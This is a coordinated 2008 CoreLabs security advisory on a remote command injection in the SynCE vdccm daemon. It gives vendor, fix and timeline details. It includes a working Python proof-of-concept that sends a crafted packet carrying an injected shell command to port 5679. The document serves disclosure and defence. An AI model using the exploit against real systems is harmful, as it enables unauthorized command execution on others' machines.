Core Security Technologies Advisory 2007.1106

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Core Security Technologies – CoreLabs Advisory  
http://www.coresecurity.com/corelabs  
  
  
SynCE Remote Command Injection  
  
*Advisory Information*  
  
Title: SynCE Remote Command Injection  
Advisory ID: CORE-2007-1106  
Advisory URL: http://www.coresecurity.com/?action=item&id=2070  
Date published: 2008-01-07  
Date of last update: 2008-01-03  
Vendors contacted: SynCE team  
Release mode: Coordinated release  
  
*Vulnerability Information*  
  
Class: Input validation error  
Remotely Exploitable: Yes  
Locally Exploitable: Yes  
Bugtraq ID: N/A  
CVE Name: N/A  
  
*Vulnerability Description*  
  
SynCE is an open source project, whose objective is to provide a way of  
communicating with a Windows CE or Pocket PC device, from a computer  
running Linux, *BSD or other unices. For more information see  
http://www.synce.org/  
  
The vdccm daemon (part of the SynCE package) is vulnerable to a remote  
command injection, which can be exploited by malicious remote attackers.  
The vulnerability is due to the vdccm daemon not properly sanitizing  
certain input before using it to invoke external scripts. This can be  
exploited to execute arbitrary commands with the privileges of the vdccm  
daemon by sending specially crafted requests.  
  
*Vulnerable packages*  
  
. Synce-dccm since version 0.92  
  
*Non-vulnerable packages*  
  
. Synce-dccm 0.91 and earlier.  
. SynCE-dccm 0.10.1  
  
*Vendor Information, Solutions and Workarounds*  
  
This vulnerability has been fixed in SynCE-dccm 0.10.1, available at  
http://sourceforge.net/projects/synce/.  
  
*Credits*  
  
This vulnerability was discovered and researched by Alfredo Ortega and  
Oren Isacson from Core Security Technologies.  
  
*Technical Description / Proof of Concept Code*  
  
The vdccm daemon listens on port 5679 for incoming connections from a  
Windows CE device.  
The command injection exist on the name of the connected device. The  
code at src/utils.cpp, function Utils::runScripts contains the  
following code:  
  
string command = string(path) + " " + action + " " + deviceName;  
system(command.c_str());  
  
The contents of the string variable "deviceName" is controlled by the  
attacker.  
  
The next python proof of concept script will remotely create an empty  
file named "/tmp/vulnerability" when used on a FreeBSD host running the  
vulnerable daemon.  
  
- ---------------------------  
import socket, struct  
import time  
def AtoWChar(string):  
return ''.join([x+chr(0) for x in string])  
  
HOST = '192.168.XXX.XXX'  
PORT = 5679  
c= socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
c.connect((HOST, PORT))  
buf="\x00"*0x18  
buf+='\x30\x00\x00\x00'  
buf+='\x30\x00\x00\x00'  
buf+='\x30\x00\x00\x00'  
buf+="\x00"*12  
string=AtoWChar("&/usr/bin/touch /tmp/vulnerability")  
buf+=string+"\x00\x00"+"\x00"*12  
c.send(struct.pack("L",63+len(string))+buf+"\x00" )  
- ---------------------------  
  
NOTE: for this proof of concept to work, a script file is needed on the  
"$home$/.synce/scripts" directory. Some linux distributions ship with  
scripts on this directory by default.  
  
*Report Timeline*  
  
2007-11-12: Core notifies the SynCE team of the vulnerability.  
2007-11-13: Technical details sent by Core to SynCE team.  
2007-11-22: SynCE notifies Core that a fix has been produced, and will  
be released in the next SynCE official release.  
2007-12-20: SynCE releases version 0.10.1, which fixes this vulnerability.  
2008-01-07: CORE-2007-1106 advisory is published.  
  
*References*  
  
http://synce.sourceforge.net/synce/dccm.php  
http://synce.sourceforge.net/synce/architecture.php  
  
*About Corelabs*  
  
CoreLabs, the research center of Core Security Technologies, is charged  
with anticipating the future needs and requirements for information  
security technologies.  
We conduct our research in several important areas of computer security  
including system vulnerabilities, cyber attack planning and simulation,  
source code auditing, and cryptography. Our results include problem  
formalization, identification of vulnerabilities, novel solutions and  
prototypes for new technologies.  
CoreLabs regularly publishes security advisories, technical papers,  
project information and shared software tools for public use at:  
http://www.coresecurity.com/corelabs/  
  
*About Core Security Technologies*  
  
Core Security Technologies develops strategic solutions that help  
security-conscious organizations worldwide develop and maintain a  
proactive process for securing their networks. The company's flagship  
product, CORE IMPACT, is the most comprehensive product for performing  
enterprise security assurance testing. IMPACT evaluates network,  
endpoint and end-user vulnerabilities and identifies what resources are  
exposed. It enables organizations to determine if current security  
investments are detecting and preventing attacks. Core augments its  
leading technology solution with world-class security consulting  
services, including penetration testing and software security auditing.  
Based in Boston, MA and Buenos Aires, Argentina, Core Security  
Technologies can be reached at 617-399-6980 or on the Web at  
http://www.coresecurity.com  
  
*DISCLAIMER*  
  
The contents of this advisory are copyright (c) 2008 CORE Security  
Technologies and (c) 2008 CoreLabs, and may be distributed freely  
provided that no fee is charged for this distribution and proper credit  
is given.  
  
*PGP/GPG KEYS*  
  
This advisory has been signed with the GPG key of Core Security  
Technologies advisories team, which is available for download at  
http://www.coresecurity.com/files/attachments/core_security_advisories.asc  
  
  
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